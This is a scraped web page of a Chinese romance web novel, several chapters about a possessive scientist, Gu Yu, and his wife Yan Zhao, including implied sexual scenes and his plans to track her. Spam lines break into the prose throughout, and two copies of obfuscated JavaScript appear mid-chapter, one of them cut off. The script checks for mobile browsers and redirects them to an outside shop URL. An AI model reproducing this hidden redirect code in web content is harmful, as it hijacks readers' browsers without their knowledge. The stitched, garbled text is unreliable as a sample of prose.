那两个男人看她这反应，也跟着笑了一下，说晚上会过来接她，让她提前准备好。 交代完，两人就离开了。 院门重新合上。 言昭站在原地缓了一会儿，心情明显轻快了不少。 刚才那些乱七八糟的事，连同谢临这个人，也被她彻底抛到了脑后。 她转身回屋，把自己的书本一一拿出来，放到桌上。 …… 顾煜这边。 他坐在桌前，灯光冷白，纸页铺了一桌。 笔尖在纸上 你的朋友正在书荒，快去帮帮他吧 落下又抬起，数字与符号被反复推翻、重写，算法已经接近尾声，可他的注意力始终无法完全收拢。 想念来得太凶。 不是偶尔浮上来那种，而是压在胸口，越压越重，几乎让人失去耐心的程度。 他想她。 想得发疯。 明明已经安排了人看着，可那点理智根本安抚不了情绪。 他不知道她有没有乖乖听话。 不知道她有没有乱跑。 不知道她现在在做什么，是不是又会一个人遇到什么事。 这种不确定，让他心底的烦躁一点点堆积。 顾煜很清楚，这边的事情不能拖。 这套算法关系太重，对国家发展也很重要，所以他必须尽快写完，不能有任何失误。 可在推演的间隙，他的思绪已经开始往别的方向延伸。 如果—— 能随时知道昭昭的位置。 如果能听到她的声音。 如果能在她离开自己视线的时候，依旧把她锁在一个安全范围里。 念头一旦冒出来，就停不下。 顾煜垂下眼，重新落笔。 纸面上的公式越写越密。 而那条隐秘又危险的思路，也在他的脑海里，悄然成形。 第59章 顾煜打算用卫生健康知识 言昭重新回到教室上课的时候，还有车子专门接送。 车在校门口停下，她下车的时候，只觉得这种待遇落在自己身上，有点过于隆重了。 受宠若惊。 这个刚学的词，让她第一次体会得这么清楚。 她很快收敛心思，把注意力全放回学习上。 听课，记笔记，翻书。 也不知道是不是脑子真的开了窍，那些内容进到脑子里，居然一遍就能记住个七七八八。 言昭自己都忍不住暗暗高兴了一下。 可这份轻松，并没有持续太久。 她很快察觉到，今天的气氛有点不太对。 同学们对她还是一如既往地亲和，说话也自然，没有刻意疏远。 老师对她的态度，甚至比以前还要热情。 点名、提问、讲解，都明显多照顾了她几分。 可就是这种状态，让她隐约觉得，有哪里怪怪的。 言昭很快就确定了。 不是错觉。 是真的在捧着她。 老师提问时，语气明显放软，哪怕她只说到一半，也会顺着往下接，不让她有半点尴尬。 同学们递东西、让位置，说话前都会下意识看她脸色。 就连课间聊天，话题都绕着她转。 这种感觉，不是被喜欢，更像是被刻意照顾。 言昭心里那点沾沾自喜很快淡了。 下课铃一响，言昭合上书站起来。 刚走出教室，她就看到走廊尽头，顾煜正站在那里。 灯光从侧面落下来，他的身影干净又熟悉，像是把周围的嘈杂一下子隔开了。 明明也就一天半没见。 以前他忙起来，也会一整天不在家。 可这一次让言昭的感觉不一样。 也许是刚搬了新家，也许是他说过要过几天才能回来。 总之，在真的看到他的那一刻，言昭情绪一下子就压不住了。 她心口一热，几乎没怎么想，脚步就快了起来，小跑过去，站定时还有点喘。 然后言昭的双手已经攥住了顾煜的袖子。 抓得很紧。 顾煜俊美的面容本就温柔，此刻更是被一层明显的笑意铺满。 在她抓住他袖子的那一瞬间，那点温柔像是被点燃了，越发浓郁。 他低头，看了一眼她攥着不放的地方，目光在她指尖停了停，随后顺势抬手，把她的手整个包进掌心。 你的朋友正在书荒，快去帮帮他吧 握得很紧。 他低声开口嗓音低沉磁性听起来特别悦耳：“想我了？” 这句话落得太近又太直白。 两人现在还在走廊里。 言昭耳根一下子热了起来下意识想抽手 她抬眼看了他一瞬又很快移开视线。 脸颊发烫。 虽然什么都没说但是意思很明显了。 顾煜喉结轻轻滚了一下。 他俯下身声音压得很低几乎只落在她耳边。 “我好想你。” 温热的气息缠上来贴得太近。 言昭唇瓣动了动只觉得心口发紧。 然后她直接伸手拉住他的手腕转身就走。 顾煜没有半点抗拒任由她牵着自己离开。 两人很快出了校门。 外面的风迎面吹来带着明显的寒意。 言昭被风一吹人也精神了一点松开人。 顾煜本来想再牵她的手可看见她略显紧张的样子又想到最近国内的风气严了些就给忍住了。 他低声说道：“我想你了所以出来见你一面明早还要回去。” 言昭这时已经看出他神色里的疲惫眉眼间压着倦意。 她心里一软立刻说道：“那我们快回家吧。” 顾煜轻轻摇头语气带着点无奈的笑意：“先不回我们去吃点东西我好饿。” 言昭听完立马点头。 她原本还在想这么晚了要去哪里吃东西。 顾煜直接带着她拐进了那条熟悉的小吃街。 正是上次白玲玲带她来过的地方。 夜色已经深了这里依旧热闹摊位一字排开油烟味混着香气飘在空气里。 言昭看着眼前的场景脚步不自觉慢了一下。 顾煜侧过身微微俯下头凑到她耳边声音压得很低。 “昭昭你来这里可以说说哪些东西好吃吗？” 言昭被他这么一靠近耳廓微微发热下意识抬手指向不远处。 两人买了些吃的刚走出摊位言昭跟着察觉到不对。 有不少视线往这边看过来。 不更准确地说是落在顾煜身上。 她顺着那些目光看了一眼发现大多是些年轻人三三两两聚在一起明显是学校里的人眼神里带着打量和压不住的好奇。 言昭心里忽然有点不自在。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 她下意识往顾煜身边靠近了些脚步也放慢了半拍。 也是这时候她才突然意识到一件事。 顾煜现在对她好像没以前那么亲近了。 以前不管在什么地方他都会牵着她的手旁人的目光从来不在他的考虑范围里。 可这一次在她主动松开之后他就再没有伸手过来。 像是刻意保持着距离。 言昭低头看了一眼自己空着的手心里那点说不清的感觉慢慢浮了上来。 她的这些反应全都落进了顾煜眼里。 她靠得更近 顾煜微微皱了下眉。 他也没离开多久她怎么会重新出现不安？ 这种不安让他很想把人拉到自己面前低声哄几句甚至伸手把她圈住。 可偏偏最近国内严打周围的目光又多他只能硬生生把那些念头压下去。 他加快了动作把手里的东西很快吃完低声说道：“我们回家吧。” 言昭几乎是立刻点头连声应下。 她现在是真的巴不得马上离开这里。 …… 言昭在浴室里泡澡。 水是家里烧的热气慢慢腾起隔着门往外漫。 顾煜坐在外面没有动。 他的目光落在那扇紧闭的门上视线很沉像是被什么黏住了一样。 水声断断续续传出来他不用细想就能分辨出她是在起身还是在拨水还是在拧毛巾。 这些细碎的动静让人很难真正静下来。 他想到自己已经把里面昭昭的毛巾拿出来里面只剩下他自己的那一条。 自己就在外面昭昭肯定不会喊自己要毛巾她就会用他的毛巾。 等昭昭洗完澡到他进去洗的时候那条毛巾…… 会留下些什么他几乎不用想。 这个念头一冒出来就没那么容易压下去。 顾煜喉结轻轻动了一下指尖在膝盖上收紧又很快松开。 他靠在椅背上闭了下眼。 有些想法在这样的夜里很容易生根。 浴室里热气蒸腾水声贴着瓷砖回荡。 言昭伸手去拿毛巾的时候动作一下子僵住了。 架子上空了一块。 她愣了好几秒才慢慢低头又确认了一遍—— 她自己的毛巾不见了只剩下一条顾煜的颜 听说看这本书的人都是很幸运的，分享后你的运气会更棒 色偏深，被水汽浸得微微发软，安静地挂在那里。 言昭想到刚刚顾煜进来拿了一下毛巾。 刚才……他肯定是拿错了！ 言昭低头，看向一旁的小凳子，自己换下来的衣服已经被水弄湿，皱巴巴地堆在一起，根本不能用。 她又忍不住抬眼，看向那条唯一剩下的毛巾，视线停了停，又飞快移开。 要用他的毛巾吗？ 这个念头一出来，她脸颊几乎是瞬间热了起来，指尖都不自觉蜷紧，连耳根都跟着发烫。 她还没想好该怎么办，门外忽然响起敲门声。 “昭昭，怎么了？”顾煜的声音隔着门传进来，低低的，像是贴着门板落下。 这一声让言昭心口猛地一跳，她下意识往后退了半步，后背贴上温热的瓷砖，整个人像是被戳破了心思。 她现在根本不好意思开门让他送毛巾，更不可能告诉他自己在纠结什么，只能连忙说道：“没事没事！” 门外安静了一瞬。 没有再敲。 可那种安静，反而让人更坐立不安。 现在言昭脑子里还是忍不住浮现出用那条毛巾擦身的画面。 想到这里，她脸上的热度更明显了。 浴室里水汽缠绕，本就粘稠的空气变得更黏稠起来。 外面。 顾煜重新在椅子上坐下，背脊靠着椅背，整个人一点都放松不下来。 脑子里的念头像是被人拨乱了一样，一下接一下地翻涌。 还有她明显比以前更黏人，可又总在一些地方小心翼翼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看着那扇紧闭的门，心口还在轻轻起伏，脸上的热意迟迟没有退下去。 浴室里。 顾煜进来后，反手把门关紧，背脊几乎是贴着门板停了一瞬。 水汽还没散，热气一阵阵往上涌，空气里残留着明显的温度。 他没有再多想，动作干脆利落地脱了衣服，转身就进了水桶。 水还很热。 热意贴上皮肤的那一刻，他肩背绷紧了一下。 下一秒，他呼吸乱了。 浴室里弥漫着一股说不清的气息，混着水汽，被封在这狭小的空间里，怎么都散不开。 他很清楚那气息从哪来，越是意识到，越是避不开。 顾煜喉结滚动，脸颊的温度几乎是瞬间窜了上来。 他抬手按住桶沿，指节用力到泛白，低低闷哼了一声，声音被水汽吞掉，只剩下一丝压抑的气音。 水面轻轻晃动。 热气翻涌。 他的呼吸，在狭小的浴室里，变得格外清晰。 言昭在外面站了好一会儿。 浴室里的水声断断续续传出来，她是不想再听下去，只觉得脸上的热意怎么都压不下去。 太羞了。 她低着头，脚步放得很轻，几乎是逃一样地离开了那一片地方，回到房间里，把门轻轻关上，也不再去想顾煜在里面怎么样。 她现在一点都不想管。 时间过了很久。 浴室这边的动静彻底安静下来，门才再次被打开。 顾煜走出来的时候，发梢还在滴水，脸上的红意尚未褪去，眼神比平时更亮，像是被什么情绪反复冲刷过。 他下意识往屋里看了一眼。 没人。 顾煜脚步停了一下，没有出声，只是低头看向脚下被水溅湿的地面。 他拿过布，弯下身，一点一点把地面擦干净。 水渍被抹去。 浴室里重新恢复了干净。 而他站在原地，呼吸才慢慢平复下来。 此刻，顾煜的脑海里一点都不安静。 那些学过的、记得清清楚楚的卫生健康知识，在这一刻反而变得格外清晰，开始一条一条地往外冒。 第60章 顾煜温柔的一夜 言昭躺在床上，很久都没能让情绪平复下来。 她盯着天花板看了许久，呼吸一会儿快、一会儿慢。 明明两个人已经有过两次亲密的经历，可每一次她都紧张得厉害，几乎不敢细想，只是被情绪推着往前走。 也正因为这样，到了现在，哪怕是一点点动静，都能让她心跳失衡。 可念头一转，她又想起顾煜这段时间明显收敛的态度。 不像从前那样贴着她，也不再时时刻刻牵着她的手。 这个念头像一盆冷水兜头浇下来。 言昭慢慢呼出一口气，翻了个身，侧躺在床边，看着窗外的月光铺进来。 夜色很静，月亮挂得很高，也很圆。 她盯着看了好一会儿，脑子反倒空了下来。 就在这时，门被轻轻推开。 言昭下意识坐起身，刚想开口问一句，视线却在下一瞬间顿住了。 此刻顾煜站在门口。 灯光从侧面落在他身上，轮廓清晰，皮肤还带着刚洗过的湿意，发梢滴着水，整个人毫无防备地暴露在她的视线里。 言昭的话卡在喉咙里，呼吸明显乱了一拍。 房间里一时安静得过分。 言昭是真没想到他会这样出来。 就穿着一条裤衩子，头发还在滴水，人就在她眼前晃了一下。 她几乎是条件反射，立刻又躺了回去，翻身背对着他，连多看一眼都不敢。 心跳快得离谱。 可她才刚躺稳，床边就微微一沉。 顾煜已经走过来，在她身侧坐下。 距离一下子被拉近。 她还没来得及装睡，就听见他低声开口。 “昭昭。”声音很近，“我后背有点不舒服，你能不能帮我涂点药膏？” 这句话一出来，言昭脑子里的羞意瞬间被掐断。 她几乎是立刻又坐起身，转过头看他，神色里的慌乱已经被关切取代。 “你怎么受伤了？”言昭语气一下子紧了：“你不是……不是只用动脑子吗？” 顾煜看着她这反应，唇角轻轻动了一下，把手里的东西塞进她掌心。 他随即转过身，背对着她坐好，语气平静地解释。 “没有你在身边，而且那边床有点太硬，我睡得不太习惯，有点落枕。” 言昭这才真正松了口气。 她视线落在他后背上，一时间有些走神。 顾煜看起来总是偏清瘦的那一类， 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 穿着衣服时带着点文气。 此刻背对着她坐着，肩线展开，肌肉线条贴着皮肤绷起，紧实有肉感，完全不是想象中那种文弱。 她心口轻轻跳了一下。 脸上的热意不受控制地漫上来。 言昭抿了下唇，还是拧开药膏，挤出一点在指尖，慢慢靠近他颈侧那一小块位置。 她动作很轻，在指腹刚贴上去的瞬间，能清楚地感觉到他背脊微不可察地紧了一下。 那种反应太明显了。 言昭忍不住弯了弯唇角。 看来他对她的触碰，还是挺有感觉的。 言昭刚把药膏收好，就注意到他耳廓已经泛起了一层明显的红。 从耳根一路蔓延上去。 她愣了一下，心里闪过一个念头—— 他该不会……也在害羞吧？ 这个想法刚冒出来，她自己先不自在了，下意识就想把手抽回来，离他远一点。 可顾煜伸手，动作很快地抓住了她的手腕，紧接着把她的手贴在了自己脸颊上。 温度透过掌心传过来。 “昭昭。他的声音低得厉害，带着一点刻意压着的沙哑，“我难受。 言昭被他这个动作弄得心口一跳，整个人都紧绷了一瞬，可听见这句话，那点紧张立刻被担忧压了下去。 “你还有哪里难受？ 她几乎是立刻问出口，语气不自觉地急了。 顾煜微微抬起眼。 他的脸颊还贴在她掌心，轻轻蹭了一下，像是在确认她没有抽走。 那双眼睛在灯光下显得很深，情绪被压得很低，此时偏偏一瞬不瞬地看着她，视线黏着，带着另一层意味。 不像平时的冷静。 更像是在忍着什么。 他没有立刻回答。 只是这样看着她。 两人的视线在昏暗的灯光下撞在一起。 言昭只觉得心脏跳得厉害，胸口起伏得有些乱。 她当然听得懂顾煜的意思，也正因为听得懂，整个人反而更紧张了，连呼吸都不自觉放轻。 顾煜把她这些细微的反应全看在眼里。 他没有逼近，只是慢慢凑到她耳边，声音低得几乎贴着她的呼吸落下来。 “昭昭，你觉得……我哪里难受？ 这一句话像是轻轻落下的火星。 言昭没有再逃。 她唇瓣动了动，没能说出什么，只是那样看着他，指尖还停在他脸侧，温度 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 迟迟没有退开。 顾煜也没再追问。 他只是松开手把她手里那支药膏拿了过去指腹不经意擦过她的掌心带起一阵细小却清晰的触感。 紧接着灯被关掉。 灯光熄灭的那一瞬间房间里只剩下月色。 言昭下意识动了下手指指尖就被一股温热包住她低低惊呼了一声想要抽回但被顾煜稳稳地握住。 不是用力的那种更像是不容她退开的确认。 他带着她躺下来。 床垫轻轻下陷她被他抱在怀里颈侧很快贴上了一阵灼人的温度。 那气息近得让人心跳失序又被他刻意收敛着只落在呼吸之间。 顾煜的声音贴着她的耳侧响起低哑得不像平日像是被夜色磨过又压着情绪黏着、缓慢却意外地好听。 “昭昭。”他说得很轻。“我会很温柔的要是不舒服就骂我也可以咬我。” 他的呼吸掠过她的耳廓带起一阵细小却清晰的颤意。 “别怕我好不好？” 话落房间重新安静下来。 只有彼此的呼吸在夜色里慢慢贴近。 言昭一开始还是忍不住发抖指尖发凉心里那点恐惧怎么都压不下去。 可顾煜的动作始终很慢也很轻没有以前那么冲动。 只不过在疼意袭来的时候她几乎是本能地咬住了他的肩膀。 她耳边的世界渐渐模糊最后留在意识里的只剩下他一遍又一遍低声喊着她的名字声音哑得厉害。 言昭本来以为这一次会和上面两次一样。 只要顾煜满足了她就能好好休息。 可等她迷迷糊糊醒过来还没完全回神耳边就响起了他的声音低低的贴得很近。 “昭昭。” 她下意识动了下。 顾煜的手已经稳稳扣住她语气带着明显的疲哑。 “抱住我我怕把你晃下去。” 言昭没想到事情还没有结束可她已经浑身发软连抬手推开他的力气都没有只能为了自己而抱住他。 顾煜低低叹了一声把她稳稳抱住夜色被拉得很长时间在反复的呼吸与静默里慢慢流过去。 …… 言昭醒过来的时候只觉得浑身酸得厉害骨头都像被拆过一遍可那种疲惫里又夹着一点说不清的畅快。 她在床上缓了好一会儿才慢慢侧过头看向窗外 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 得刺眼，太阳高高挂在天上，显然时间不早了。 床铺另一侧空的，顾煜已经不在。 那些混乱又荒唐的画面不受控制地涌上来，言昭咬了咬牙，心里又气又恼。 明明说好早上有事要离开，结果人根本没走，反反复复缠着她，弄得她连时间都没分清。 而且上课，她又落下了！ 言昭转念一想，她心里其实还是有点高兴的。 这一次，顾煜是真的很温柔，也让她尝到了一点说不清的滋味。 她这才发现，原来这种事并没有想象中那么难受，只是顾煜实在太能折腾了。 躺在床上回神的时候，她忍不住想起以前在队里听那些婶子们闲聊，说谁谁谁家的男人，把自家婆娘压在炕上嗷嗷叫。 那时候她只当是夸张，现在想想，脸颊不自觉地热了起来。 言昭在床上又躺了一会儿，等那股酸软慢慢退下去，才撑着身子起身。 来到客厅，她看到桌上的纸条，拿起来一行一行地看完。 顾煜说自己先去干活了，时间赶，没来得及等她醒，还特意叮嘱她别急着出门，厨房里炖了一只鸡，醒了记得吃。 言昭看完，心里一下子软成一团。 那点刚才还在嘀咕他精力太多的情绪，瞬间就没了，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338029|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下喜滋滋的暖意。 她放下纸条，立刻往厨房跑。 一进门，就闻到一股淡淡的香味，灶台底下还有没完全灭掉的火星子。 她赶紧掀开锅盖，白气一下子冒出来，里面真的炖着一只鸡，汤色清亮，香味直往人鼻子里钻。 言昭站在灶前，看着那锅鸡汤，肚子就跟着咕噜咕噜叫出声。 她正吃着，院门忽然被敲响。 她端着碗走到门口，从门缝里往外看了一眼。 门外站着一男一女。 女人穿着得体，她不认识。 而那个男人，她一眼就认出来了——谢临。 言昭心口猛地一跳，几乎是本能地往后退了一步，连门都没敢碰。 她屏住呼吸，悄悄绕开门口，从侧边的窗子旁退开，脚步放得极轻，生怕弄出一点动静。 言昭躲在屋里，越想越想骂人。 这人是缠上自己了吧？ 早知道当初就不该多事去救他，现在想想，真是后悔得不行。 要是被顾煜知道这事，她光是想一想就觉得头皮发麻。 他一向不喜欢她跟别人走得近，尤其是男人。 顾煜 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 生气的时候也是真的吓人，表面不动声色，眼神却冷得厉害，整个人像是中了邪一样。 中邪…… 这个念头一冒出来，她跟着想起来自己忘记了一件很重要的事情！ 对啊。 自己得去一趟寺里。 要去找佛祖还愿，谢佛祖让她重来这一世，也顺便给顾煜求个平安符才行。 言昭一想到这里，心里就坐不住了。 她干脆把剩下的鸡汤一口气喝完，就开始换衣服。 临出门前，她还是停了一下。 找了张纸，匆匆写了几行字，压在桌上，免得顾煜回来找不到她。 写完才稍微安心一点，把门关好。 她也确认那一男一女已经离开了，心口那点提着的气才慢慢落下。 言昭没再耽搁。 她拎着包，锁好门，径直出了院子，朝着京市最大的那座寺庙赶去。 …… 寺庙里香火正盛。 言昭一踏进山门，脚步就不自觉放慢了。 她刚刚在门口磨蹭了好一会儿，心里隐约有点发虚。 重生这种事，会不会被一眼看穿？ 她偷偷看了几眼。 来往的僧人神色平静，各自做着自己的事，没有人多看她一眼。 言昭这才悄悄松了口气。 她整理了一下衣角，走进殿内，在蒲团前跪下，背脊挺直，动作放得很慢。 香烟袅袅升起，她低下头，额头贴近蒲团，心也跟着沉了下来。 这一刻，她是真的虔诚。 不再胡思乱想，也不再分心，只一下一下地跪拜，心里默默把该谢的、该求的，全都放进了这一礼之中。 言昭本来还想多跪一会儿，可殿里的人实在太多，后面排着长队，等着依次上前。 她也不好占着位置，只能起身让开。 出了殿，她又去排队买平安符。 队伍拉得很长，一眼看不到头，前前后后都是人。 言昭站在队里，被人流推着往前挪。 等轮到她的时候，她毫不犹豫地掏了钱，花了一笔不算小的数目，换来了一张平安符。 符纸拿到手的那一刻，她心里一下子亮堂起来。 喜滋滋的。 言昭正低头把平安符收好，旁边忽然有人凑了过来，是个妇女，神情看着有点疲惫，一开口就问她平安符卖不卖。 言昭一愣。 那妇女叹着气，说自己走了好久的路才过来，本想着求一张符就走，哪知道人这么多，时间又赶，说得一副可怜巴巴的样子，还顺势夸起来：“姑娘看起来人美心善，肯定愿意帮忙的。” 言昭眨了眨眼。 她避开这个妇人伸过来的手，然后把平安符稳稳放进了口袋，语气平静地拒绝：“不好意思，我也赶时间回去，不卖。” 哪知道这个妇女已经一屁股坐在地上，捂着腿哎哟了一声，声音一下子拔高了。 “你这姑娘，我只是问问而已，你怎么还推人呢！” 周围的人立刻被吸引了注意，目光纷纷扫过来，有人皱眉，有人低声议论。 言昭站在原地，心里先是一沉，随即冷静下来。 第61章 顾煜的病娇心态 言昭是真没想到，自己也能碰上这种事。 看着那妇人熟门熟路的撒泼模样，一坐一喊一抹腿，分明是做惯了的。 她心里冷笑了一声，也不与她拉扯，反倒转过身，朝着殿内佛祖的方向合了合掌。 “佛祖保佑，保佑恶人有恶报。 这话一落，那妇人脸色瞬间变了。 妇人这才想起来自己坐在什么地方，眼睛往佛像那边一瞟，神情明显慌了一下，赶紧手忙脚乱地爬起来，连声朝佛祖磕了几个头，嘴里念念有词。 言昭站在一旁，看得清清楚楚，轻轻哼了一声。 “佛祖就在这儿，你就不怕做坏事，被怪罪吗？ 那妇人不敢再闹，连头都不敢抬，灰溜溜地挤进人群里，很快不见了影子。 四周的人本来还半信半疑，看清那妇人的反应后，哪里还不明白是怎么回事。 原本窃窃私语的声音一下子变了调。 “在佛祖面前还敢讹人。 “也不怕报应。 言昭没再多停留，转身就离开了寺庙。 她不知道的是。 寺庙侧院的角落里，那妇人正紧张兮兮地站着，手指搓着衣角，神情发虚。 “我说小伙子，她压低声音，“佛祖就在旁边，我真没法把那姑娘的平安符要过来。 她说话的时候还时不时回头看一眼，生怕被人看到。 而站在她面前的人，不是别人。 正是谢临。 他站在阴影里，神情冷淡，目光落在妇人身上，没有半点波动。 …… 言昭出了寺庙，心里那点波动慢慢平复下来，转念又想到白玲玲，干脆绕过去找她。 可到了才发现人不在。 难道是白策回来了？ 言昭也没多停留，转身去了李婶子那里。 李婶子一见她就笑，说要给她方子的钱。 厚厚一叠，大几百。 言昭眼睛一下子亮了起来。 这可是她自己赚的钱。 那种踏实又满足的感觉，让她整个人都轻快了不少。 拿着钱回去的路上，她心里已经开始盘算起来。 现在自己赚到钱了，她也该给顾煜添点东西。 言昭走着走着，脚步忽然顿住。 她猛地想起来—— 昨晚睡衣…… 根本没让顾煜换上试试。 言昭想到这里，脸又热了一下，不过很快 听说看这本书的人都是很幸运的，分享后你的运气会更棒 就把思绪拉了回来。 她现在花钱已经没有以前那样小心翼翼了。 手里有钱底气自然不一样。 她直接拐去供销社站在柜台前目光落在红糖和奶粉上。 以前她总是算着买生怕多花一分钱现在直接让人把两样都包好。 红糖补气奶粉养身。 这两样现在几乎成了她和顾煜天天要喝的东西。 虽然贵可确实有用。 喝下去人精神不少而且一罐也能喝挺久。 最重要的是—— 她现在有钱！ 言昭买完东西回去时远远就看见自家门口站着三个人。 陈阿姨、卫阿姨还有白天在门口见过的那个年长女人全都站在她家门前。 明显是在等她。 言昭有点不理解了她们找自己到底要干嘛？ 而且现在天快黑了要是顾煜现在回来肯定会生气。 想到这里她快步走了过去。 三个人一看到她明显松了一口气。 尤其是那个年长女人神情带着急切。 陈阿姨和卫阿姨却对视了一眼脸上闪过一丝尴尬像是有话不好开口。 一楼客厅里。 言昭听完她们的话 惊愕震惊甚至还有一点不可思议。 她几乎没有犹豫直接开口。 “抱歉我不答应。” 陈阿姨和卫阿姨对视了一眼倒是没说什么。 她们显然也是被请来当中间人的不太好插手。 坐在对面的谢夫人已经急了。 她往前倾了倾身子“我不是别的意思……临儿最近状态不太好你和他说过话他情绪好像稳定了一些。我只是希望你能偶尔跟他说说话做个朋友安抚一下他。” 言昭听得头皮发麻。 荒谬。 她是真的觉得荒谬。 这个女人竟然想让她去跟谢临做朋友还要她去安抚他？ 言昭深吸了一口气“我有丈夫我丈夫是顾煜。真的很抱歉我不能答应。” 陈阿姨和卫阿姨见气氛僵住赶紧出来打圆场。 “对啊这事本来就有点强人所难而且你也知道顾煜的……” 谢夫人脸上的急切却压不住。 她当然清楚顾煜是什么样的人也知道他的地位意味着什么。 可自家儿子最近的状态让自 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 己一点办法都没有。 好不容易出现一个明显能让他情绪稳定的人，自己怎么舍得放过？ 这时谢夫人视线在客厅里不动声色地扫了一圈，忽然落在椅子扶手上那块浅色手帕上。 谢夫人眸光微微一闪，故作叹了口气，像是妥协了。 “那好吧，不过能不能给我倒杯水？我有点渴。” 言昭没有多想，点了点头。 “好。” 她转身去了厨房。 就在她背过身的那一瞬间，谢夫人站了起来，动作看似无意地整理了一下衣角。 等谢夫人重新坐回椅子时，神情已经恢复平静。 而那块原本搭在椅子上的手帕，已经不见了。 等到言昭终于把这三人送走，她也松了口气。 另一边。 顾煜所在的办公室里，气氛截然不同。 最后一行推导写下去，笔尖落在纸上的那一刻，整个房间都安静了一瞬。 紧接着，是压不住的欢呼声。 围在周围的人几乎是同时松了一口气，有人拍桌子，有人激动地握拳，嘴里全是对顾煜的夸赞。 “成了！” “顾教授这套算法太漂亮了！” “这下可以直接推进下一步了！” 声音此起彼伏。 可站在桌前的顾煜，神色没有一丝波动。 他只是把铅笔放下，抬眼扫了一圈，语气平静。 “你们先出去一下，我现在需要清净。” 众人愣了一下，立刻明白过来，连忙收敛情绪，鱼贯而出，门被轻轻带上。 房间里重新安静下来。 顾煜没有停。 他把刚才那份完成的纸张推到一旁，又抽出一张很大的白纸铺开。 指尖重新夹起铅笔。 笔尖落下。 一串全然陌生的符号和推演，在纸面上飞快出现。 比刚才那套算法更复杂。 顾煜这一忙，就忙到了晚上。 算法整理完，他又马不停蹄地去申请了一笔研发费用。 金额不算大，项目又挂在他名下，流程走得很快，领导几乎没怎么犹豫就批了下来。 只是例行公事地问了一句：“小顾，这次是研发什么？” 顾煜神色平静，语气也淡淡的：“一个小玩意，和现有项目不冲突。” 领导点了点头，也没多想。 他现在手里的东西才是重点，至于什么小玩意 听说看这本书的人都是很幸运的，分享后你的运气会更棒 ，只要不影响大方向，谁也不会过多追问。 批完费用，领导翻文件的时候，又看到一张请假单。 他抬头看了顾煜一眼，神情明显为难。 “小顾啊，你现在对咱们来说很重要，对国家也很重要。请假当然可以请，只是这段时间确实紧，工作还是要好好抓一抓。 话说得委婉，意思也很清楚。 顾煜心里早有准备。 他看着领导，解释道：“我不放心我爱人，最近她心情不太好，我想去陪陪她。 领导愣了一下，随后忍不住叹气。 爱老婆爱到你这个份上，他还真是头一次见。 顾煜没有等他继续劝，只是往前一步，跟着说：“那我不请假，晚上能不能让我回去？ 这句话一出，领导顿时松了口气，“晚上你当然可以回去，我再给你安排一些保镖，他们不会跟着你妨碍你，这个也是怕你出事。 顾煜点头，任由这位领导安排。 …… 言昭在考虑要不要去那个她们说的大澡堂。 可转念又犹豫了。 要是再遇到谢夫人，或者那两个阿姨，又被围着劝，她是真的受不了。 她越想越烦。 那两个阿姨平时看着和气，怎么偏偏在这种事情上替别人当说客？ 说到底，人与人之间，还是不能交得太深。 一旦交心，麻烦就会跟着找上门。 这些城里人，心思比乡下人绕得还多。 门外传来轻微的动静。 顾煜回来了。 他一进门，就看到客厅里发呆的言昭。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他眼睛都睁大了一瞬，心里迅速翻过各种念头—— 这一整天到底发生了什么，让她变得这么热情大胆？ 可下一秒，他又压住自己。 不对。 她不是这种性子。 她向来脸皮薄。 肯定是自己想多了。 卧室门被推开。 言昭直接走到床边，伸手把叠好的那套睡衣拿起来，塞进他怀里。 她抬头看他，眼睛亮亮的，还带着一点得意的笑。 “你换上。” 语气自然得很。 顾煜愣了一瞬。 他低头看着怀里的睡衣，又看向她，喉结轻轻滚动了一下。 那双本就潋滟的眼睛，在灯光下像是被水浸过，情绪一点点漫开。 “我们这么早就休息吗？难道是我昨晚终于让你舒服了？” 言昭几乎是条件反射地满脸通红，她耳根一路烧到脖颈，她张了张嘴，想反驳，却又不知道从哪里说起。 最后只能羞愤地瞪他一眼，语气都带着点恼。 “我是让你试试这件睡衣！” 言昭说完就从房间离开了。 顾煜无力瘫坐在床边，他怀里那套睡衣还没放下。 这时他抬手捂住了自己的脸。 过了好一会儿，他低低笑了一声。 那笑意里带着一点无奈，也带着一点自嘲。 刚才那副自作多情的样子，连他自己想起来都觉得丢人。 他以为她主动拉他进房，是别的意思，结果只是让他试试新睡衣。 顾煜缓缓放下手，目光变得幽深起来。 他一直在压着自己，把那些更深、更偏执、更失控的念头都压在最底下，不让它们露出来。 不然，他怕自己会在她面前显出更多她不喜欢的样子。 那种占有欲。 那种不讲理的独占。 那种只想把她锁在身边的冲动。 他都死死压着。 这时，门外传来一声轻轻的敲击。 言昭的声音隔着门板传进来，带着一点催促。 “你快点换上。” 顾煜听见她的声音，唇角不自觉弯了一下。 他不再发呆，把睡衣放到一旁，起身换好。 第62章 修罗场炸起 门被打开。 顾煜走出来，已经换好了那套睡衣。浅色的布料贴合在他身上，身形看起来更显修长。 